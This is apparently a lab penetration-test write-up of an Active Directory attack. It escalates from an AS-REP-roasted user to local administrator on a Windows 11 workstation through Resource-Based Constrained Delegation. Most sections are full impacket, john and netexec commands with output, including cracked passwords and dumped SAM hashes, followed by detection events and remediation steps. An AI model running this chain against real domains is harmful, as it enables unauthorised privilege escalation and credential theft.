pentest.lab — writing to Active Directory
The domain controller already fell once. This time the target is a member workstation — a freshly domain-joined Windows 11 box — and the escalation never runs an exploit. It runs a write to Active Directory. A low-privilege user, one over-permissive ACL, and the default machine-account quota are enough to perform Resource-Based Constrained Delegation: add a computer, write a single attribute on the target, and ask Kerberos for a ticket as Administrator.
Executive summary
This is a follow-on to the pentest.lab kill chain. The domain is the same; what's new is a domain-joined client and a different class of flaw. Where the first writeup was pure Kerberos credential abuse, this one is an ACL + delegation attack — the kind of finding that turns one over-permissive object into a foothold-to-admin jump without ever touching a binary.
The whole path starts from zero credentials and ends at local administrator on the workstation. The pivot in the middle — the thing that makes it work — is a single write to a computer object in the directory. That write is legal, authenticated, and completely by-design; it's only dangerous because a low-privilege account was allowed to make it.
| Credential / artifact | Value | Recovered / abused via |
|---|---|---|
| jweak | Welcome1 | AS-REP roast — no pre-auth |
| jweak → WIN_VIRTUAL$ | GenericAll (FullControl) | over-permissive object ACL |
| MachineAccountQuota | 10 | domain default — any user adds a computer |
| attacker01$ | Attacker123! | computer added under the quota |
| RBCD | attacker01$ trusted on WIN_VIRTUAL$ | write of delegation attribute |
| WIN_VIRTUAL | local admin · SAM | S4U2Self/Proxy → secretsdump |
What was planted, and why
The member host is a stock Windows 11 VM — WIN_VIRTUAL, DHCP 192.168.56.123 — joined to pentest.lab on the isolated host-only network. Two conditions make the chain possible, and only one of them was deliberately planted:
- MachineAccountQuota = 10 — not planted; this is the Active Directory default. Every authenticated user may create up to ten computer accounts. It's the quiet enabler behind most RBCD attacks.
- GenericAll for a low-priv user over the computer object — the planted flaw. It stands in for the real-world pattern where a helpdesk or workstation-admin group is handed sweeping rights over an OU of machines, and those rights flow down to an account an attacker can reach.
The seed is one ACE, applied as domain admin, mirroring a delegated-rights misconfiguration:
# grant jweak GenericAll over the WIN_VIRTUAL$ computer object $ impacket-dacledit -action write -rights FullControl \ -principal jweak -target-dn 'CN=WIN_VIRTUAL,CN=Computers,DC=pentest,DC=lab' \ 'pentest.lab/Administrator:Passw0rd!' -dc-ip 192.168.56.10 [*] DACL backed up to dacledit-20261021-084051.bak [*] DACL modified successfully!
The backup matters. Seeding a lab flaw should always be reversible — dacledit writes a .bak of the original DACL so the object can be restored byte-for-byte when the exercise is done.
From nothing to a low-priv shell
The entry point is the same roastable user as the first run. jweak has pre-authentication disabled (DONT_REQ_PREAUTH), so an AS-REP encrypted with his password key can be pulled with no credentials at all and cracked offline.
$ impacket-GetNPUsers pentest.lab/jweak -no-pass -dc-ip 192.168.56.10 -format hashcat $krb5asrep$23$jweak@PENTEST.LAB:84cec8ac...bedc43eb77...a9a5670e1f58ffb14f... $ john --wordlist=/usr/share/wordlists/rockyou.txt jweak.asrep Welcome1 ($krb5asrep$23$jweak@PENTEST.LAB)
With the password cracked, WinRM gives an interactive shell. The point of the foothold is what it isn't: the token carries no useful privileges — no SeImpersonate, nothing the Potato family could abuse. Local escalation is a dead end, which forces the attack into the directory.
*Evil-WinRM* PS> whoami pentest\jweak *Evil-WinRM* PS> whoami /priv SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled # no SeImpersonate, no SeBackup — a genuinely low-priv token, Medium integrity
SMB was a dead end too: as jweak, C$ and ADMIN$ list but deny access, SMB signing is on (no relay), and the SYSVOL GPP-password hunt came back empty. The only way up from here is a write to AD.
Resource-Based Constrained Delegation
RBCD lets a service be configured to accept tickets forged on behalf of other users — the trust lives in one attribute on the resource computer, msDS-AllowedToActOnBehalfOfOtherIdentity. Whoever can write that attribute can nominate a principal they control as a trusted delegate, then use S4U to mint a service ticket as any user, including Administrator. The GenericAll from Phase 01 is exactly that write.
# verify the write primitive as jweak
$ impacket-dacledit -action read -principal jweak \ -target-dn 'CN=WIN_VIRTUAL,CN=Computers,DC=pentest,DC=lab' \ 'pentest.lab/jweak:Welcome1' -dc-ip 192.168.56.10 [*] ACE[16] info [*] Access mask : FullControl (0xf01ff) [*] Trustee : jweak (S-1-5-21-...-1106)
Confirmed with jweak's own credentials — this is real, usable access, not just an admin-side view of the ACL.
# add a computer under MachineAccountQuota
$ impacket-addcomputer -computer-name 'attacker01$' -computer-pass 'Attacker123!' \ -dc-ip 192.168.56.10 'pentest.lab/jweak:Welcome1' [*] Successfully added machine account attacker01$ with password Attacker123!.
No special rights needed — the domain's default quota of 10 lets any authenticated user do this. attacker01$ is a principal we fully control, which is all S4U requires on the delegate side.
# write the delegation — the write to AD
$ impacket-rbcd -delegate-from 'attacker01$' -delegate-to 'WIN_VIRTUAL$' \ -action write 'pentest.lab/jweak:Welcome1' -dc-ip 192.168.56.10 [*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty [*] Delegation rights modified successfully! [*] attacker01$ can now impersonate users on WIN_VIRTUAL$ via S4U2Proxy
That single attribute write is the entire escalation. From here it's just asking Kerberos for the tickets the directory now says we're allowed to have.
# S4U2Self + S4U2Proxy → Administrator ticket
$ impacket-getST -spn 'cifs/WIN_VIRTUAL.pentest.lab' -impersonate 'Administrator' \ 'pentest.lab/attacker01$:Attacker123!' -dc-ip 192.168.56.10 [*] Getting TGT for user [*] Impersonating Administrator [*] Requesting S4U2self [*] Requesting S4U2Proxy [*] Saving ticket in Administrator@cifs_WIN_VIRTUAL.pentest.lab@PENTEST.LAB.ccache
Two gotchas worth noting. getST fails if KRB5CCNAME is pre-set to a path that doesn't exist yet — let it create the ccache, then point at it. And every ticket-based step is bound to the exact service name, so WIN_VIRTUAL.pentest.lab must resolve from the attacker (an /etc/hosts entry to .123 is enough) — Kerberos authenticates names, not IPs.
# cash the ticket — local admin on the client
$ export KRB5CCNAME=Administrator@cifs_WIN_VIRTUAL.pentest.lab@PENTEST.LAB.ccache $ netexec smb WIN_VIRTUAL.pentest.lab -k --use-kcache SMB WIN_VIRTUAL.pentest.lab 445 WIN_VIRTUAL [*] Windows 11 Build 26100 x64 (signing:True) SMB WIN_VIRTUAL.pentest.lab 445 WIN_VIRTUAL [+] pentest.lab\Administrator from ccache (Pwn3d!) $ impacket-secretsdump -k -no-pass 'pentest.lab/Administrator@WIN_VIRTUAL.pentest.lab' [*] Target system bootKey: 0x76903d308e000eeaf3d14d8b46de1a84 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435...:31d6cfe0d16ae931b73c59d7e0c089c0::: # blank local admin jh763:1001:aad3b435...:bf4b7a1e5dff905485380f3f5965a668:::
The service ticket authorises SMB as Administrator, secretsdump starts RemoteRegistry, lifts the bootkey, and dumps every local secret. Foothold to local admin — the hop powered entirely by one authenticated write to Active Directory.
Detecting and closing it
This is the purple half. RBCD is loud if you're watching the right events, and cheap to prevent outright.
# detection
- 4741 — computer account created. A user (not a provisioning system) creating a machine account is the first tell.
attacker01$born fromjweakis anomalous on its own. - 5136 — directory object modified. Audit writes to
msDS-AllowedToActOnBehalfOfOtherIdentity. A change to that attribute on a workstation, by a non-admin, is RBCD in progress. - 4768 / 4769 — Kerberos tickets. S4U2Self followed immediately by S4U2Proxy for a
cifs/SPN, requested by a machine account, is the delegation being exercised. - 4662 — object access. The
dacleditread/write against the computer object shows here when directory-object auditing is on.
# remediation
- Set
ms-DS-MachineAccountQuotato 0. Removes the attacker's ability to add the delegate computer — the single highest-value hardening step, and it breaks the chain cold. - Fix the ACL. No low-privilege principal should hold GenericAll / GenericWrite / WriteDACL over a computer object. Audit delegated OU rights and strip inherited over-grants.
- Protect privileged accounts. Add admins to Protected Users and/or configure Authentication Policy Silos so their tickets can't be minted by delegation.
- Kill the roast entry. Re-enable Kerberos pre-auth on
jweakand set a password a wordlist won't know — the chain never starts without the foothold.
Lab reset. After the exercise the object was restored from the dacledit backup, attacker01$ deleted, and the delegation attribute flushed — the domain returned to a clean state with only DC01$ and the legitimately-joined WIN_VIRTUAL$ remaining.